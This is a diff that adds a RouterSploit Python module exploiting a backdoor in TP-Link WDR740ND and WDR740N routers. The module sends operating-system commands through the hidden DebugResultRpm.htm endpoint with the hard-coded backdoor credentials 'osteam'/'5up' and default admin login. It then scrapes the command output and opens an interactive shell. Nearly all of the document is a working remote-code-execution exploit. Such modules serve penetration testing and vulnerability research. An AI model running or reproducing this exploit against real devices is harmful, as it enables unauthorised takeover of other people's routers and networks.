TP-Link Backdoor exploit.

routersploit/modules/exploits/tplink/wdr740nd_wdr740n_backdoor.py

+import re
+
+from urllib import quote
+
+from routersploit import (
+    exploits,
+    print_success,
+    print_error,
+    print_info,
+    print_status,
+    http_request,
+    mute,
+    validators,
+    shell,
+    random_text,
+)
+
+
+class Exploit(exploits.Exploit):
+    """
+    Exploit implementation for TP-Link WDR740ND and WDR740N backdoor vulnerability.
+    If the target is vulnerable it allows to execute commands on operating system level.
+    """
+    __info__ = {
+        'name': 'TP-Link WDR740ND & WDR740N Backdoor RCE',
+        'description': 'Exploits TP-Link WDR740ND and WDR740N backdoor vulnerability that allows executing commands on operating system level.',
+        'authors': [
+            'websec.ca',  # vulnerability discovery
+            'Marcin Bury <marcin.bury[at]reverse-shell.com>',  # routersploit module
+        ],
+        'references': [
+            'http://websec.ca/advisories/view/root-shell-tplink-wdr740',
+        ],
+        'devices': [
+             'TP-Link WDR740ND',
+             'TP-Link WDR740N',
+        ],
+    }
+
+    target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url)  # target address
+    port = exploits.Option(80, 'Target port')  # default port
+
+    username = exploits.Option('admin', 'Username to log in with')
+    password = exploits.Option('admin', 'Password to log in with')
+
+    def run(self):
+        if self.check():
+            print_success("Target is vulnerable")
+            print_status("Invoking command shell")
+            shell(self)            
+        else:
+            print_error("Exploit failed - target seems to be not vulnerable")
+
+    def execute(self, cmd):
+        cmd = quote(cmd)
+
+        url = "{}:{}/userRpm/DebugResultRpm.htm?cmd={}&usr=osteam&passwd=5up".format(self.target, self.port, cmd)
+
+        response = http_request(method="GET", url=url, auth=(self.username, self.password))
+        if response is None:
+            return ""
+
+        if response.status_code == 200:
+            regexp = 'var cmdResult = new Array\(\n"(.*?)",\n0,0 \);'
+            res = re.findall(regexp, response.text)
+
+            if len(res):
+                # hard to extract response
+                return "\n".join(res[0].replace("\\r\\n", "\r\n").split("\n")[1:])
+
+        return ""
+
+    @mute
+    def check(self):
+        marker = random_text(32)
+        cmd = "echo {}".format(marker)
+
+        response = self.execute(cmd)
+
+        if marker in response:
+            return True  # target is vulnerable
+
+        return False  # target is not vulnerable